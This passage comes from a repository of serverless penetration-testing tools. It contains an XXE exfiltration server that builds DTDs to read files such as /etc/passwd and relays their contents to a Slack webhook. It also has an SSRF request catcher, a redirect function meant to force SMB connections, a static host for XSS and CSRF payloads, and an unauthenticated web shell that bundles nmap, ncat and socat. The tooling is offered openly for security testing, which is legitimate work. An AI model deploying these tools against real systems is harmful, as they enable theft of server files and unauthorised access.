"setprototypeof": { 136 | "version": "1.0.3", 137 | "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.0.3.tgz", 138 | "integrity": "sha1-ZlZ+NwQ+608E2RvWWMDL77VbjgQ=" 139 | }, 140 | "statuses": { 141 | "version": "1.5.0", 142 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", 143 | "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=" 144 | }, 145 | "supports-color": { 146 | "version": "5.5.0", 147 | "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", 148 | "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", 149 | "requires": { 150 | "has-flag": "^3.0.0" 151 | } 152 | }, 153 | "unpipe": { 154 | "version": "1.0.0", 155 | "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", 156 | "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" 157 | } 158 | } 159 | } 160 | -------------------------------------------------------------------------------- /req_dump/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "req-dump", 3 | "version": "1.0.0", 4 | "description": "Serverless Function to Dump Raw Request", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1", 8 | "start": "micro server.js", 9 | "dev": "micro-dev server.js" 10 | }, 11 | "author": "Ronnie Flathers (@ropnop)", 12 | "license": "ISC", 13 | "dependencies": { 14 | "lodash": "^4.17.20", 15 | "micro": "^9.3.3", 16 | "request-ip": "^2.1.1" 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /simple_redirect/README.md: -------------------------------------------------------------------------------- 1 | # Simple Redirect 2 | This example is used to redirect any incoming HTTP request to a different host. I primarily use it when testing for SSRF to see if I can get the server to follow redirects. It's also sometimes possible to redirect an HTTP request to a different protocol, like file://, and force Windows machines to make SMB connections to arbitrary hosts. 3 | 4 | The function takes two environment variables: 5 | * REDIRECT_URL - a full URL to redirect to. Must include protocol 6 | * STATUS - HTTP status code to cause redirect. Defaults to 301 7 | 8 | ## Deployment 9 | ``` 10 | $ now -e REDIRECT_URL=https://example.com 11 | ``` 12 | 13 | To change the status code: 14 | ``` 15 | $ now -e REDIRECT_URL=file://responder.example.com/share -e STATUS=303 16 | ``` 17 | 18 | ## Usage 19 | Any request made to the function will be redirected 20 | 21 | ``` 22 | $ curl -i --http1.1 https://simpleredirect-fqtvudxjhf.now.sh/randompath 23 | HTTP/1.1 303 See Other 24 | Date: Sun, 11 Nov 2018 16:39:44 GMT 25 | Transfer-Encoding: chunked 26 | Connection: keep-alive 27 | Location: file://responder.example.com/share/ 28 | ``` 29 | 30 | -------------------------------------------------------------------------------- /simple_redirect/index.js: -------------------------------------------------------------------------------- 1 | // taken from Now's examples: https://github.com/now-examples/redirect 2 | 3 | const { createServer } = require('http'); 4 | 5 | if (!process.env.REDIRECT_URL) { 6 | throw new Error('Must provide REDIRECT_URL environment variable') 7 | } 8 | 9 | const REDIRECT_URL = process.env.REDIRECT_URL.replace(/\/$/, '') + '/' 10 | const STATUS = parseInt(process.env.STATUS, 10) || 301 11 | 12 | createServer((req, res) => { 13 | const Location = REDIRECT_URL; 14 | res.writeHead(STATUS, { Location }); 15 | res.end(); 16 | }).listen(3000); 17 | -------------------------------------------------------------------------------- /simple_redirect/now.json: -------------------------------------------------------------------------------- 1 | { 2 | "builds": [{ "src": "index.js", "use": "@now/node" }], 3 | "routes": [ 4 | { "src": "(.*)", "dest": "index.js"} 5 | ] 6 | } 7 | -------------------------------------------------------------------------------- /simple_redirect/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "simple_redirect", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1 5 | } 6 | -------------------------------------------------------------------------------- /simple_redirect/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "simple_redirect", 3 | "version": "1.0.0", 4 | "description": "Simple Micro server to redirect", 5 | "main": "server.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1", 8 | "start": "node server.js" 9 | }, 10 | "author": "Ronnie Flathers (ropnop)", 11 | "license": "ISC", 12 | "dependencies": {} 13 | } 14 | -------------------------------------------------------------------------------- /ssrf_slack/README.md: -------------------------------------------------------------------------------- 1 | # SSRF Slack Notifier 2 | This example immediately dumps any HTTP request it gets to a Slack webhook. This is very useful for when testing for SSRF or blind XSS, as you will be immediately notified if any server makes a request to this URL. 3 | 4 | The function listens for any incoming request. When one in received, it constructs a friendly Slack message that details the requesting IP address, a timestamp, and a completed dump of the incoming request. Similar to the `req_dump` example, I ignore headers that Cloudflare and Zeit add, but if you want those dumped they can be toggled with the environment variable `ALL_HEADERS`. 5 | 6 | To customize the Slack message, modify the `renderSlackMessage` function in `server.js`. 7 | 8 | The function requires the environment variable `SLACK_WEBHOOK`. 9 | 10 | ## Deployment 11 | Since it is possible to view public `now.sh` deployment source code and environment variables, it is advisable to keep your Slack WEBHOOK_URL in a [now.sh secret](https://zeit.co/docs/v1/features/env-and-secrets). This function expects a secret called `slack-webhook-ssrf`: 12 | 13 | ``` 14 | $ now secret add slack-webhook-ssrf https://hooks.slack.com/services/YOUR_WEBHOOK_HERE 15 | ``` 16 | 17 | And deploy the function with the secret as the environment variables: 18 | 19 | ``` 20 | $ now 21 | ``` 22 | 23 | ## Usage 24 | When deployed, an incoming HTTP request will be dumped to Slack, including POST message bodies: 25 | 26 | ``` 27 | $ curl -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.1 Safari/605.1.15" -X POST --data "bodydata=woohoo" http://ssrf-slack-notify-ruyqedhlhc.now.sh/testing\?hello\=world 28 | ``` 29 | 30 | ![slack_ssrf_post](../imgs/ssrf_notify_post.png) 31 | -------------------------------------------------------------------------------- /ssrf_slack/index.js: -------------------------------------------------------------------------------- 1 | const { send } = require('micro'); 2 | const _ = require('lodash'); 3 | const rawBody = require('raw-body'); 4 | const requestIp = require('request-ip'); 5 | const slackWebhook = require('slack-webhook'); 6 | 7 | const WEBHOOK_URL = process.env.SLACK_WEBHOOK; 8 | 9 | const slack = new slackWebhook(WEBHOOK_URL); 10 | 11 | // These are all added by CF and Zeit, I usually ignore them 12 | const IGNORED_HEADERS = [ 13 | "x-forwarded-host", 14 | "x-real-ip", 15 | "x-forwarded-for", 16 | "x-forwarded-proto", 17 | "x-now-id", 18 | "x-now-log-id", 19 | "x-zeit-co-forwarded-for", 20 | "cf-ipcountry", 21 | "cf-ray", 22 | "cf-visitor", 23 | "cf-connecting-ip", 24 | "true-client-ip", 25 | ] 26 | const ALL_HEADERS = process.env.ALL_HEADERS || false; // toggle this to show them 27 | 28 | // Modify this function to customize the slack message to your liking 29 | const renderSlackMessage = (data) => { 30 | let headerstext = _.reduce(data.headers, (headerstext, headerval, headername) => { 31 | return headerstext + `${headername}: ${headerval}\n`; 32 | }, ''); 33 | return ` 34 | *New Request To:* \`${data.host}${data.url}\` 35 | *Request From:* \`${data.ip}\` 36 | *Time (UTC):* \`${data.timestamp}\` 37 | *Request Details:* 38 | \`\`\` 39 | ${data.method} ${data.url} HTTP/${data.httpVersion} 40 | ${headerstext} 41 | ${data.body} 42 | \`\`\` 43 | ` 44 | } 45 | 46 | module.exports = async (req, res) => { 47 | const clientIp = requestIp.getClientIp(req); 48 | const now = new Date(); 49 | let headers = {}; 50 | if (!ALL_HEADERS) { 51 | headers = _.reduce(req.headers, (headers, headerval, headername) => { 52 | if (_.includes(IGNORED_HEADERS, headername)) { 53 | return headers; 54 | } else { 55 | headers[headername] = headerval; 56 | return headers; 57 | } 58 | }, {} ); 59 | } else { headers = req.headers; } 60 | 61 | const data = { 62 | host: req.headers.host, 63 | url: req.url, 64 | httpVersion: req.httpVersion, 65 | method: req.method, 66 | headers: headers, 67 | protocol: req.protocol, 68 | body: String(await rawBody(req)), 69 | ip: clientIp, 70 | timestamp: now.toISOString() 71 | }; 72 | 73 | const message = renderSlackMessage(data); 74 | 75 | try { 76 | await slack.send(message); 77 | } catch (err) { 78 | send(res, 500, err); 79 | } 80 | send(res, 404); //return a 404, could return anything here, we captured the req already 81 | } 82 | -------------------------------------------------------------------------------- /ssrf_slack/now.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": 2, 3 | "name": "ssrf-slack", 4 | "builds": [ 5 | { 6 | "src": "index.js", 7 | "use": "@now/node" 8 | } 9 | ], 10 | "routes": [ 11 | { "src": "(.*)", "dest": "index.js"} 12 | ], 13 | "env" : { 14 | "SLACK_WEBHOOK": "@slack-webhook-ssrf" 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /ssrf_slack/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ssrf-slack-notify", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "ansi-styles": { 8 | "version": "3.2.1", 9 | "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", 10 | "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", 11 | "requires": { 12 | "color-convert": "^1.9.0" 13 | } 14 | }, 15 | "arg": { 16 | "version": "2.0.0", 17 | "resolved": "http://registry.npmjs.org/arg/-/arg-2.0.0.tgz", 18 | "integrity": "sha512-XxNTUzKnz1ctK3ZIcI2XUPlD96wbHP2nGqkPKpvk/HNRlPveYrXIVSTk9m3LcqOgDPg3B1nMvdV/K8wZd7PG4w==" 19 | }, 20 | "bytes": { 21 | "version": "3.0.0", 22 | "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", 23 | "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=" 24 | }, 25 | "chalk": { 26 | "version": "2.4.0", 27 | "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.0.tgz", 28 | "integrity": "sha512-Wr/w0f4o9LuE7K53cD0qmbAMM+2XNLzR29vFn5hqko4sxGlUsyy363NvmyGIyk5tpe9cjTr9SJYbysEyPkRnFw==", 29 | "requires": { 30 | "ansi-styles": "^3.2.1", 31 | "escape-string-regexp": "^1.0.5", 32 | "supports-color": "^5.3.0" 33 | } 34 | }, 35 | "color-convert": { 36 | "version": "1.9.3", 37 | "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", 38 | "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", 39 | "requires": { 40 | "color-name": "1.1.3" 41 | } 42 | }, 43 | "color-name": { 44 | "version": "1.1.3", 45 | "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", 46 | "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" 47 | }, 48 | "content-type": { 49 | "version": "1.0.4", 50 | "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", 51 | "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==" 52 | }, 53 | "depd": { 54 | "version": "1.1.1", 55 | "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.1.tgz", 56 | "integrity": "sha1-V4O04cRZ8G+lyif5kfPQbnoxA1k=" 57 | }, 58 | "escape-string-regexp": { 59 | "version": "1.0.5", 60 | "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", 61 | "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=" 62 | }, 63 | "has-flag": { 64 | "version": "3.0.0", 65 | "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", 66 | "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=" 67 | }, 68 | "http-errors": { 69 | "version": "1.6.2", 70 | "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.2.tgz", 71 | "integrity": "sha1-CgAsyFcHGSp+eUbO7cERVfYOxzY=", 72 | "requires": { 73 | "depd": "1.1.1", 74 | "inherits": "2.0.3", 75 | "setprototypeof": "1.0.3", 76 | "statuses": ">= 1.3.1 < 2" 77 | } 78 | }, 79 | "iconv-lite": { 80 | "version": "0.4.19", 81 | "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.19.tgz", 82 | "integrity": "sha512-oTZqweIP51xaGPI4uPa56/Pri/480R+mo7SeU+YETByQNhDG55ycFyNLIgta9vXhILrxXDmF7ZGhqZIcuN0gJQ==" 83 | }, 84 | "inherits": { 85 | "version": "2.0.3", 86 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", 87 | "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" 88 | }, 89 | "is-stream": { 90 | "version": "1.1.0", 91 | "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", 92 | "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=" 93 | }, 94 | "is_js": { 95 | "version": "0.9.0", 96 | "resolved": "https://registry.npmjs.org/is_js/-/is_js-0.9.0.tgz", 97 | "integrity": "sha1-CrlFQFArp6+iTIVqqYVWFmnpxS0=" 98 | }, 99 | "lodash": { 100 | "version": "4.17.15", 101 | "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", 102 | "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==" 103 | }, 104 | "micro": { 105 | "version": "9.3.3", 106 | "resolved": "https://registry.npmjs.org/micro/-/micro-9.3.3.tgz", 107 | "integrity": "sha512-GbCp4NFQguARch0odX+BuWDja2Kc1pbYZqWfRvEDihGFTJG8U77C0L+Owg2j7TPyhQ5Tc+7z/SxspRqjdiZCjQ==", 108 | "requires": { 109 | "arg": "2.0.0", 110 | "chalk": "2.4.0", 111 | "content-type": "1.0.4", 112 | "is-stream": "1.1.0", 113 | "raw-body": "2.3.2" 114 | } 115 | }, 116 | "moment": { 117 | "version": "2.22.2", 118 | "resolved": "https://registry.npmjs.org/moment/-/moment-2.22.2.tgz", 119 | "integrity": "sha1-PCV/mDn8DpP/UxSWMiOeuQeD/2Y=" 120 | }, 121 | "raw-body": { 122 | "version": "2.3.2", 123 | "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.2.tgz", 124 | "integrity": "sha1-vNYMd9Prk83gBQKVw/N5OJvIj4k=", 125 | "requires": { 126 | "bytes": "3.0.0", 127 | "http-errors": "1.6.2", 128 | "iconv-lite": "0.4.19", 129 | "unpipe": "1.0.0" 130 | } 131 | }, 132 | "request-ip": { 133 | "version": "2.1.1", 134 | "resolved": "https://registry.npmjs.org/request-ip/-/request-ip-2.1.1.tgz", 135 | "integrity": "sha512-cxNIoWf9JDuZM6YKdfTWdRsOi/hI4eIG6rGeodFyo8cCnTePoTW4qYbcKkQUz6evJkVXw+y0++BDz+Dh78M1pQ==", 136 | "requires": { 137 | "is_js": "^0.9.0" 138 | } 139 | }, 140 | "setprototypeof": { 141 | "version": "1.0.3", 142 | "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.0.3.tgz", 143 | "integrity": "sha1-ZlZ+NwQ+608E2RvWWMDL77VbjgQ=" 144 | }, 145 | "slack-webhook": { 146 | "version": "1.0.0", 147 | "resolved": "https://registry.npmjs.org/slack-webhook/-/slack-webhook-1.0.0.tgz", 148 | "integrity": "sha1-8K0bc/J4oU6KsUG5VV9BWdVgXzg=" 149 | }, 150 | "statuses": { 151 | "version": "1.5.0", 152 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", 153 | "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=" 154 | }, 155 | "supports-color": { 156 | "version": "5.5.0", 157 | "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", 158 | "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", 159 | "requires": { 160 | "has-flag": "^3.0.0" 161 | } 162 | }, 163 | "unpipe": { 164 | "version": "1.0.0", 165 | "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", 166 | "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" 167 | } 168 | } 169 | } 170 | -------------------------------------------------------------------------------- /ssrf_slack/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ssrf-slack-notify", 3 | "version": "1.0.0", 4 | "description": "Serverless function to notify slack when it gets a request", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1", 8 | "start": "micro server.js", 9 | "dev": "micro-dev server.js" 10 | }, 11 | "author": "Ronnie Flathers (@ropnop)", 12 | "license": "ISC", 13 | "dependencies": { 14 | "lodash": "^4.17.15", 15 | "micro": "^9.3.3", 16 | "moment": "^2.22.2", 17 | "request-ip": "^2.1.1", 18 | "slack-webhook": "^1.0.0" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /static_example/.nowignore: -------------------------------------------------------------------------------- 1 | README.md -------------------------------------------------------------------------------- /static_example/README.md: -------------------------------------------------------------------------------- 1 | # Static Example 2 | This example is just to illustrate that serverless doesn't have to be used only for dynamic functions. With one command, it's possible to serve up arbitrary static content on a highly available CDN behind fully trusted TLS certificats with HTTP2 support. 3 | 4 | I am often hosting payloads for CSRF or XSS, or needing to put some sort of PoC in a public reachable place, and this is so much easier than copying files to a VPS and having to manage my own infrastructure. 5 | 6 | ## Deployment 7 | Without a `package.json` or `Dockerfile`, a static deployment will happend automatically. Any files in the current directory will be served up instantly 8 | 9 | ``` 10 | now --public 11 | ``` 12 | 13 | ## Usage 14 | Browse or link to any file, e.g. `` 15 | 16 | -------------------------------------------------------------------------------- /static_example/alert.js: -------------------------------------------------------------------------------- 1 | alert('xss2') 2 | -------------------------------------------------------------------------------- /static_example/external.dtd: -------------------------------------------------------------------------------- 1 | 2 | "> 3 | -------------------------------------------------------------------------------- /static_example/messagebox.ps1: -------------------------------------------------------------------------------- 1 | Add-Type -AssemblyName PresentationCore,PresentationFramework 2 | [System.Windows.MessageBox]::Show('Hello from Serverless!') -------------------------------------------------------------------------------- /webshell/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM dit4c/gotty 2 | 3 | RUN apk add --update nmap nmap-ncat socat openssh bash && \ 4 | rm -rf /var/cache/apk/* 5 | 6 | ADD run.sh /run.sh 7 | RUN chmod +x /run.sh 8 | ENTRYPOINT ["/run.sh"] 9 | -------------------------------------------------------------------------------- /webshell/README.md: -------------------------------------------------------------------------------- 1 | # Now V2 Update 2 | Unforatunately, I haven't figure out how to port this over to Now V2 since they no longer support running arbitrary Docker containers. This will not work unless you have an older now.sh account that has been grandfathered in to still supporting V1. 3 | 4 | # Webshell 5 | This is a fun PoC showing it's possible to get a fully interactive shell running in a serverless environment. It runs [gotty](https://github.com/yudai/gotty) on `/bin/bash` from within a customized Alpine linux image. 6 | 7 | The included Dockerfile also installs a few useful pentester tools, such as `nmap`, `ncat`, `socat` and `openssh`. 8 | 9 | Note: you'll find the environment pretty limited for any heavy-lifting, but if you need to quickly test something from the cloud and want to just drop into a bash shell without spinning up a VPS, this is very useful. 10 | 11 | ## Deployment 12 | ``` 13 | $ now --public 14 | ``` 15 | 16 | There is no authetnication by default. If you want to protect the terminal behind basic HTTP auth, it accepts a `GOTTY_CREDENTIALS` environment variable in the form `username:password`: 17 | 18 | ``` 19 | $ now secret add gotty-creds "admin:SuperSecretPassword" 20 | $ now -e GOTTY_CREDENTIALS=@gotty-creds --public 21 | ``` 22 | 23 | ## Usage 24 | Browse to the URL in a modern browser and drop into a shell 25 | ![gotty](../imgs/gotty.png) -------------------------------------------------------------------------------- /webshell/now.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": 1 3 | } 4 | -------------------------------------------------------------------------------- /webshell/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -z "${GOTTY_CREDENTIALS}" ]; then 4 | /usr/local/bin/gotty -w --reconnect /bin/bash 5 | else 6 | /usr/local/bin/gotty -w --reconnect -c "${GOTTY_CREDENTIALS}" /bin/bash 7 | fi 8 | -------------------------------------------------------------------------------- /xxe_server/.npmignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | -------------------------------------------------------------------------------- /xxe_server/README.md: -------------------------------------------------------------------------------- 1 | # XXE Server 2 | This example is based off a similar project I wrote a while ago, [xxetimes](https://github.com/ropnop/xxetimes). After discovering an OOB XXE vulnerability, exploitation is usually a very manual process that includes spinning up at least one listening server, customizing DTD files and parsing data dump output. 3 | 4 | This serverless function provides two main functionalities to help: 5 | 6 | * Template generation and serving up of DTD files 7 | * Parsing encoded data in GET params and posting to Slack 8 | 9 | The server will dynamically generate DTD files for HTTP data exfiltration using parameter expansion when the `/dtd` endpoint is hit. It accepts a `filename` parameter to create the file entity. It also supports PHP Base64 encoding when the `php` parameter is sent. The parameter expansion will send data to the same server at the `/data` endpoint. 10 | 11 | The `/data` endpoint simply decodes any incoming data as part of the URL query and dumps it to a Slack webhook. 12 | 13 | The function requires the `SLACK_WEBHOOK` environment variable 14 | 15 | ## Deployment 16 | Since it is possible to view public `now.sh` deployment source code and environment variables, it is advisable to keep your Slack WEBHOOK_URL in a [now.sh secret](https://zeit.co/docs/v1/features/env-and-secrets) 17 | 18 | ``` 19 | $ now secret add slack-webhook-xxe https://hooks.slack.com/services/YOUR_WEBHOOK_HERE 20 | ``` 21 | 22 | And deploy with the environment variable: 23 | 24 | ``` 25 | $ now -e SLACK_WEBHOOK=@slack-webhook-xxe 26 | ``` 27 | 28 | ## Usage 29 | The `/dtd` endpoint is used to generate DTDs with parameter expansion. The two optional paramaters are `filename` and `php`. It's easiest to view the differences: 30 | 31 | No params: 32 | ``` 33 | $ curl https://xxeserver-riigdrbgdd.now.sh/dtd 34 | "> 35 | %all; 36 | %send; 37 | ``` 38 | 39 | Filename specified: 40 | ``` 41 | $ curl "https://xxeserver-riigdrbgdd.now.sh/dtd?filename=/etc/passwd" 42 | 43 | "> 44 | %all; 45 | %send; 46 | ``` 47 | 48 | PHP specified (will use base64 encoding) 49 | ``` 50 | $ curl "https://xxeserver-riigdrbgdd.now.sh/dtd?filename=/etc/passwd&php=true" 51 | 52 | "> 53 | %all; 54 | %send; 55 | ``` 56 | 57 | When explointing an XXE vulnerability, the XML sent to the server will therefore look something like this: 58 | ``` 59 | 60 | 62 | %dtd; 63 | ]> 64 | 65 | world 66 | 67 | ``` 68 | 69 | When submitted, the contents of `/etc/issue` are dumped to Slack: 70 | ![xxe_data](../imgs/xxeserver_data.png) 71 | 72 | 73 | 74 | -------------------------------------------------------------------------------- /xxe_server/index.js: -------------------------------------------------------------------------------- 1 | const express = require('express'); 2 | const hbs = require('express-handlebars'); 3 | const requestIp = require('request-ip'); 4 | 5 | const slackWebhook = require('slack-webhook'); 6 | const WEBHOOK_URL = process.env.SLACK_WEBHOOK; 7 | const slack = new slackWebhook(WEBHOOK_URL); 8 | 9 | const router = express.Router(); 10 | const app = express() 11 | 12 | 13 | app.engine('.hbs', hbs( { 14 | extname: 'hbs', 15 | })); 16 | app.set('view engine', '.hbs'); 17 | app.set('views', __dirname + '/templates') 18 | 19 | const ipMiddleware = (req, res, next) => { 20 | let clientIp; 21 | if (req.header('cf-connecting-ip')){ 22 | req.clientIp = req.header('cf-connecting-ip'); // I want to always give priority to this header 23 | } else { 24 | req.clientIp = requestIp.getClientIp(req); // if it's not there then fall back 25 | } 26 | next(); 27 | }; 28 | 29 | router.use(ipMiddleware); 30 | 31 | 32 | router.get('/dtd', (req, res) => { 33 | console.log('dtd requested'); 34 | let template = ''; 35 | if (req.query.filename) { 36 | if (req.query.php) { 37 | template = 'dtd_php_file'; 38 | } else { 39 | template = 'dtd_with_file'; 40 | } 41 | } else { 42 | template = 'dtd'; 43 | } 44 | let context = { 45 | 'fileName': req.query.filename ? req.query.filename : null, 46 | 'hostName': req.hostname, 47 | 'protocol': 'https' 48 | } 49 | res.setHeader('Content-Type', 'application/xml-dtd'); 50 | res.render(template, context); 51 | }); 52 | 53 | 54 | router.get('/data', (req, res) => { 55 | let data = decodeURIComponent(req.originalUrl.substring(6)); 56 | console.log('data received'); 57 | exfilData({'data': data, 'clientIp': req.clientIp}); 58 | res.send(''); 59 | }); 60 | 61 | router.get('/data64', (req, res) => { 62 | let data64 = decodeURIComponent(req.originalUrl.substring(8)); 63 | var buf = Buffer.from(data64,'base64'); 64 | console.log('data received'); 65 | exfilData({'data': buf.toString(), 'clientIp': req.clientIp}); 66 | res.send(''); 67 | }); 68 | 69 | 70 | // Modify this function to log the data wherever you'd prefer 71 | 72 | async function exfilData(exfil) { 73 | try { 74 | await slack.send(`*Data from:* \`${exfil.clientIp}\`\n\`\`\`${exfil.data}\`\`\``); 75 | } catch (err) { 76 | throw new Error('Problem posting to Slack webhook'); 77 | } 78 | 79 | } 80 | app.use(router); 81 | module.exports = app; 82 | -------------------------------------------------------------------------------- /xxe_server/now.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": 2, 3 | "builds": [ 4 | { 5 | "src": "index.js", 6 | "use": "@now/node", 7 | "config": { 8 | "includeFiles": [ 9 | "templates/**" 10 | ] 11 | } 12 | } 13 | ], 14 | "routes": [ 15 | { "src": "(.*)", "dest": "index.js"} 16 | ] 17 | } -------------------------------------------------------------------------------- /xxe_server/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "xxe_server", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "accepts": { 8 | "version": "1.3.5", 9 | "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.5.tgz", 10 | "integrity": "sha1-63d99gEXI6OxTopywIBcjoZ0a9I=", 11 | "requires": { 12 | "mime-types": "~2.1.18", 13 | "negotiator": "0.6.1" 14 | } 15 | }, 16 | "array-flatten": { 17 | "version": "1.1.1", 18 | "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", 19 | "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=" 20 | }, 21 | "asap": { 22 | "version": "2.0.6", 23 | "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", 24 | "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=" 25 | }, 26 | "balanced-match": { 27 | "version": "1.0.0", 28 | "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", 29 | "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=" 30 | }, 31 | "body-parser": { 32 | "version": "1.18.3", 33 | "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.18.3.tgz", 34 | "integrity": "sha1-WykhmP/dVTs6DyDe0FkrlWlVyLQ=", 35 | "requires": { 36 | "bytes": "3.0.0", 37 | "content-type": "~1.0.4", 38 | "debug": "2.6.9", 39 | "depd": "~1.1.2", 40 | "http-errors": "~1.6.3", 41 | "iconv-lite": "0.4.23", 42 | "on-finished": "~2.3.0", 43 | "qs": "6.5.2", 44 | "raw-body": "2.3.3", 45 | "type-is": "~1.6.16" 46 | }, 47 | "dependencies": { 48 | "depd": { 49 | "version": "1.1.2", 50 | "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", 51 | "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=" 52 | }, 53 | "http-errors": { 54 | "version": "1.6.3", 55 | "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", 56 | "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=", 57 | "requires": { 58 | "depd": "~1.1.2", 59 | "inherits": "2.0.3", 60 | "setprototypeof": "1.1.0", 61 | "statuses": ">= 1.4.0 < 2" 62 | } 63 | }, 64 | "iconv-lite": { 65 | "version": "0.4.23", 66 | "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.23.tgz", 67 | "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", 68 | "requires": { 69 | "safer-buffer": ">= 2.1.2 < 3" 70 | } 71 | }, 72 | "raw-body": { 73 | "version": "2.3.3", 74 | "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.3.tgz", 75 | "integrity": "sha512-9esiElv1BrZoI3rCDuOuKCBRbuApGGaDPQfjSflGxdy4oyzqghxu6klEkkVIvBje+FF0BX9coEv8KqW6X/7njw==", 76 | "requires": { 77 | "bytes": "3.0.0", 78 | "http-errors": "1.6.3", 79 | "iconv-lite": "0.4.23", 80 | "unpipe": "1.0.0" 81 | } 82 | }, 83 | "setprototypeof": { 84 | "version": "1.1.0", 85 | "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", 86 | "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==" 87 | } 88 | } 89 | }, 90 | 